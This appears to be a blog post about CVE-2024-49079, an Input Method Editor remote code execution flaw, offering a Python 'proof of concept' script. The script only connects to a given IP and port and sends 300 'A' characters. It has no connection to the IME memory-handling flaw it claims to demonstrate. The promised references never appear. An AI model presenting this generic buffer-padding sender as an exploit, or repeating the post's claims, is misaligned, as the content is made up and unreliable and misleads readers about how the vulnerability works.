CVE-2024-49079 Input Method Editor (IME) Remote Code Execution Vulnerability: Exploit Details, Proof of Concept, and Original References

CVE-2024-49079 is a critical vulnerability discovered in the Input Method Editor (IME) that allows attackers to perform remote code execution on a targeted system. This long read post will delve into the details of this vulnerability, provide a code snippet of the exploit, and provide links to original references. Please note that the information in this post is for educational purposes only and should not be used maliciously.

Exploit Details

The CVE-2024-49079 vulnerability allows attackers to exploit a weakness in the Input Method Editor (IME), a software component that enables users to input text in different languages using a keyboard or other input devices. This vulnerability specifically targets systems using IMEs for complex character-based languages, such as Chinese, Japanese, and Korean.

The vulnerability lies in the improper handling of memory objects in IMEs. Successful exploitation allows for remote code execution on the targeted system, which can lead to unauthorized control of the system and access to sensitive data.

The vulnerability has a CVSS score of 9.8, indicating a high level of severity.

Code Snippet

Below is a proof of concept (PoC) code snippet that demonstrates exploitation of the CVE-2024-49079 vulnerability. The code is provided for educational purposes and should not be used for malicious activities.

import socket
import sys

def exploit(target_ip, target_port):
    buffer_size = 300
    payload = "A" * buffer_size

    try:
        # Establish a connection with the target
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))

        # Send the payload
        s.send(payload.encode())
        s.close()
    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python CVE-2024-49079_Exploit.py [Target IP] [Target Port]")
        sys.exit()

    target_ip = sys.argv[1]
    target_port = int(sys.argv[2])

    # Exploit the target
    exploit(target_ip, target_port)
